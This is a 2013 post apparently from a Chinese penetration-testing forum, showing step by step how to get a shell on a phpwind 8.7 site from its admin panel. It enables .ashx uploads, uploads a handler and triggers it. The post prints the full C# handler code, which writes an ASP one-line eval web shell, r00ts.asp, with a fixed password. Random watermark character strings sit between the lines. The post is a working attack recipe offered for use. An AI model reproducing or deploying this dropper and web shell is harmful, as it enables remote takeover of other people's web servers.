中国网络渗透测试联盟
标题:
phpwind 8.7 后台拿shell
[打印本页]
作者:
admin
时间:
2013-7-26 12:41
标题:
phpwind 8.7 后台拿shell
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
3 J( b/ W( w, J
1 F0 I5 J. [- B- a5 ^
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
* g8 e4 z$ p( K5 V
: y6 }! x1 A7 l+ k4 S
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
5 j5 A) ~0 n1 z, G9 c" _$ h* } a8 r) |
) f* x8 j8 @* ^5 t+ ?
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
2 o& g8 e6 H9 \" s
2 {0 C7 U$ m o- U I; E
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
7 @( ?% b+ G K! t
2 _5 C' M/ F" R8 c2 J; K) ^
下面是代码:
1 q7 @3 J8 D+ E3 _1 M/ W
3 U0 y G$ o" G4 h5 n
<%@ WebHandler Language="C#"Class="Handler" %>
$ V$ D+ A. ]& x, v% s. Z1 t. S
using System;
6 J: s: C; Q) d2 p8 b1 K
using System.Web;
- ^5 |; n3 G5 v: F7 O3 Q5 n
using System.IO;
! { S, J: h5 d, v/ |7 _
public class Handler : IHttpHandler {
8 S& N4 M4 U, ], U) ?
public void ProcessRequest (HttpContext context) {
# u5 ^4 v3 _2 J ~3 C" R& F
context.Response.ContentType = "text/plain";
$ ?, U8 d4 V0 F1 e5 s3 x* F6 z
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
' w# `0 W: ]# O9 l
file1.Write("<%eval request(\"r00ts\")%>");
* V0 k% B# _' _* `6 k
file1.Flush();
" b W; o+ W- d ] G r$ v
file1.Close();
; e5 F6 J# Y$ m( w5 g
}
, U7 Z% D9 _: i4 i; H: O, T
public bool IsReusable {
% @( k0 |! X( d' i- ~& n3 K' t. \
get {
) W) J3 L! g, J# m! e3 y7 t. e( j
return false;
) I' Q. l3 ^. @/ G6 R
}
% l5 c& p9 N* f2 \) l: s# N! l
}
) d* @2 S9 v# e j6 ?( b
}
. E% E4 K- A5 v2 V6 I
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2